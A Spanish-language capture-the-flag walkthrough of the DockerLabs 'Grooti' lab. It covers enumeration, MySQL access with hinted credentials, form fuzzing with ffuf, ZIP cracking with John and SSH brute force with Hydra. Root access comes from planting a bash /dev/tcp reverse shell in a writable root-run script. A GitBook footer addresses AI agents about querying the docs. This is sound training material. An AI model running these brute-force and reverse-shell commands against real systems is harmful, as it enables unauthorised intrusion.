> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/grooti.md).

# Grooti

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux con varios servicios expuestos: SSH, HTTP y MySQL.

La cadena de explotacion pasa por enumerar una web tematica de Groot, encontrar pistas en rutas ocultas, acceder a MySQL con credenciales deducidas, descubrir un panel interno que genera un ZIP protegido, crackearlo con John y reutilizar una password para entrar por SSH. La escalada final se consigue abusando de un script escribible ejecutado periodicamente como `root`.

***

## Reconocimiento

Se comienza con un escaneo de versiones sobre la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![Nmap](/files/ObvYkpnybt8TAUSL4Jfg)

El escaneo muestra tres puertos abiertos:

| Puerto   | Servicio | Version                    |
| -------- | -------- | -------------------------- |
| 22/tcp   | SSH      | OpenSSH 9.6p1 Ubuntu       |
| 80/tcp   | HTTP     | Apache httpd 2.4.58 Ubuntu |
| 3306/tcp | MySQL    | MySQL 8.0.42 Ubuntu        |

***

## Enumeracion web

Al acceder al puerto `80` aparece una pagina principal de **Grooti's Web**:

```
http://172.17.0.2
```

![Web principal](/files/7GUqUMBBInO3h87ePddy)

La pagina muestra varios enlaces:

| Enlace visible      | Ruta asociada |
| ------------------- | ------------- |
| Mis Fotos           | `/imagenes/`  |
| Mi base de datos    | `/secret/`    |
| Facturas de la nave | `/archives/`  |

En `/imagenes/README.txt` aparece una primera pista:

```
(password1) Encuentra donde ponerla ;)
```

![README con pista](/files/TLzaDmlRP91FeP21QGHh)

Tambien se revisa `/archives/`, donde aparece una factura de la nave. En ella destaca el nombre de la nave:

```
Ship: Milano
```

![Factura](/files/Vms4PqnqkzdhArB2EZCX)

***

## Fuzzing de rutas

Se realiza fuerza bruta de directorios contra el servidor web:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/pTJ7TXlZdw1t4BIXQce5)

Recursos encontrados:

| Recurso       | Codigo | Comentario         |
| ------------- | ------ | ------------------ |
| `/index.html` | 200    | Pagina principal   |
| `/archives/`  | 301    | Factura de la nave |
| `/imagenes/`  | 301    | Pista `password1`  |
| `/secret/`    | 301    | Panel con usuarios |

En `/secret/` aparece una tabla con usuarios y niveles de acceso:

![Base de datos web](/files/iqrjLsiN2ZfzIxTE8dN5)

Usuarios identificados:

| Usuario  | Acceso         | Estado |
| -------- | -------------- | ------ |
| `grooti` | Administrador  | Activo |
| `rocket` | Subcoordinador | Activo |
| `Naia`   | Total          | Activo |

***

## Acceso a MySQL

El archivo de instrucciones apunta directamente a conectarse contra MySQL con el usuario `rocket`:

```bash
mysql -u rocket -p -h 172.17.0.2 --ssl=0
```

![Instrucciones](/files/JYqzr0PSjej8i4PdetaA)

Para la password se reutiliza la pista encontrada en /imagenes/README.txt . Con esas credenciales se consigue entrar en MySQL:

![Acceso MySQL](/files/gTDgRQnZTOjJPfpmVHQI)

Se listan las bases de datos:

```sql
SHOW DATABASES;
```

![Bases de datos](/files/ZFqc9bc07DBbafuFttjz)

Aparece una base de datos llamada `files_secret`. Se selecciona y se listan sus tablas:

```sql
USE files_secret;
SHOW TABLES;
```

![Tablas](/files/NC5jQoMz4R01FJh4pI4K)

La tabla `rutas` contiene rutas internas interesantes:

```sql
SELECT * FROM rutas;
```

![Rutas](/files/O84vLn9Fy8FWZqYPBTQS)

Entre ellas destaca:

```
/unprivate/secret
```

***

## Panel interno

Al visitar la ruta descubierta aparece un panel de acceso:

```
http://172.17.0.2/unprivate/secret/
```

![Panel interno](/files/BTltqhBO9vaivisu769g)

El formulario envia datos a `generate.php`. Como el README indicaba `password1` y el panel pide un numero entre `1` y `100`, se fuzzearon los valores del parametro numerico:

```bash
ffuf -X POST \
  -u http://172.17.0.2/unprivate/secret/generate.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "content=Grooti&number=FUZZ" \
  -w nums.txt \
  -fs 6
```

![Fuzzing del formulario](/files/pYtqmT64KxWLp3L9bQSV)

El valor valido es `16`, que genera la descarga de un ZIP:

```
password16.zip
```

![ZIP descargado](/files/aA2zwLYyTAXVza4gRzCa)

***

## Crackeo del ZIP

Se extrae el hash del ZIP con `zip2john`:

```bash
zip2john password16.zip > hash.txt
```

Despues se crackea con John y `rockyou.txt`:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

![Crackeo con John](/files/CF7T262v7ue8Eavb7S8I)

John encuentra la password:

| Archivo          | Password |
| ---------------- | -------- |
| `password16.zip` | `123456` |

Con esa password se descomprime el ZIP:

```bash
unzip password16.zip
```

![Unzip](/files/HjuoF3sM3qSzHV7YX71v)

Dentro aparece `password16.txt`, que contiene una lista de posibles passwords:

```bash
cat password16.txt
```

![Diccionario extraido](/files/ESlukETKMsW8Q5h0nJw8)

***

## Fuerza bruta SSH

Con los usuarios vistos durante la enumeracion, se prueba el diccionario contra SSH.

Primero se intenta con `naia`, pero no hay credenciales validas:

```bash
hydra -l naia -P password16.txt 172.17.0.2 ssh
```

Despues se prueba con `grooti`:

```bash
hydra -l grooti -P password16.txt 172.17.0.2 ssh
```

![Hydra SSH](/files/N3wLoSr9hD4a4cl9qkLT)

Hydra encuentra credenciales validas:

| Usuario  | Password     |
| -------- | ------------ |
| `grooti` | `YoSoYgRoOt` |

Con ellas se accede por SSH:

```bash
ssh grooti@172.17.0.2
```

![SSH grooti](/files/t7wCjgtYRDbIg7tSPzDh)

***

## Enumeracion local

Dentro del sistema se revisan binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

Tambien se comprueban privilegios sudo:

```bash
sudo -l
```

![Enumeracion local](/files/6RrIBH4NvdVpMnvKtaFH)

El usuario `grooti` no puede ejecutar comandos con `sudo`.

Despues se buscan archivos escribibles fuera de rutas habituales:

```bash
find / -writable -type f 2>/dev/null | grep -viE "var|proc|sys|home"
```

![Archivo escribible](/files/M1823FRylribCwycdpIi)

Aparece un archivo interesante:

```
/tmp/malicious.sh
```

El script es propiedad de `root`, pero es escribible por el usuario `grooti`:

```
-rwxrw-r-- 1 root grooti 221 Jul 22 2025 /tmp/malicious.sh
```

Al revisar su contenido se observa que genera y borra un log temporal:

```bash
cat /tmp/malicious.sh
```

![Contenido del script](/files/j1IDTDcqI8xIDgsAFh3S)

***

## Escalada a root

Para confirmar si el script se ejecuta automaticamente como otro usuario, se descarga `pspy64` en la maquina victima:

```bash
wget http://172.17.0.1:80/pspy64
chmod +x pspy64
./pspy64
```

![Descarga de pspy](/files/YmV590XNxfsUm96SWhdt)

`pspy` muestra que `/tmp/malicious.sh` se ejecuta periodicamente como `root` mediante `/opt/cleanup.sh`:

![pspy](/files/4U90Gpmvw6tf0NIpwNNQ)

Como `malicious.sh` es escribible por `grooti`, se reemplaza su contenido por una reverse shell:

```bash
#!/bin/bash

bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
```

![Reverse shell en malicious.sh](/files/KbBO8Uoh37cs8rVQZZUJ)

En la maquina atacante se prepara un listener:

```bash
nc -lvnp 4444
```

Cuando el proceso automatico vuelve a ejecutar el script, se recibe una shell como `root`:

![Root](/files/Frm5y9eJKeltWAn6dlFl)

***

## Conclusion

Grooti es una maquina muy buena para practicar enumeracion web y correlacion de pistas: una factura da una password, MySQL revela una ruta interna, un formulario genera un ZIP protegido y un diccionario termina abriendo SSH.

### Puntos clave

* MySQL estaba expuesto en el puerto `3306`.
* La web revelaba usuarios y pistas en `/imagenes/`, `/archives/` y `/secret/`.
* La password `Milano` permitio entrar a MySQL como `rocket`.
* La base de datos `files_secret` revelo la ruta `/unprivate/secret`.
* El valor `16` en el formulario genero `password16.zip`.
* John crackeo el ZIP con la password `123456`.
* El diccionario extraido contenia la password SSH de `grooti`.
* El script `/tmp/malicious.sh` era escribible y se ejecutaba como `root`.

### Recomendaciones

* No exponer MySQL a redes no confiables.
* Evitar pistas reutilizables en paginas publicas.
* No usar passwords basadas en informacion visible de la aplicacion.
* Restringir rutas internas y paneles administrativos.
* Evitar archivos escribibles por usuarios no privilegiados que sean ejecutados por `root`.
* Revisar tareas periodicas y scripts auxiliares con permisos peligrosos.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/grooti.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
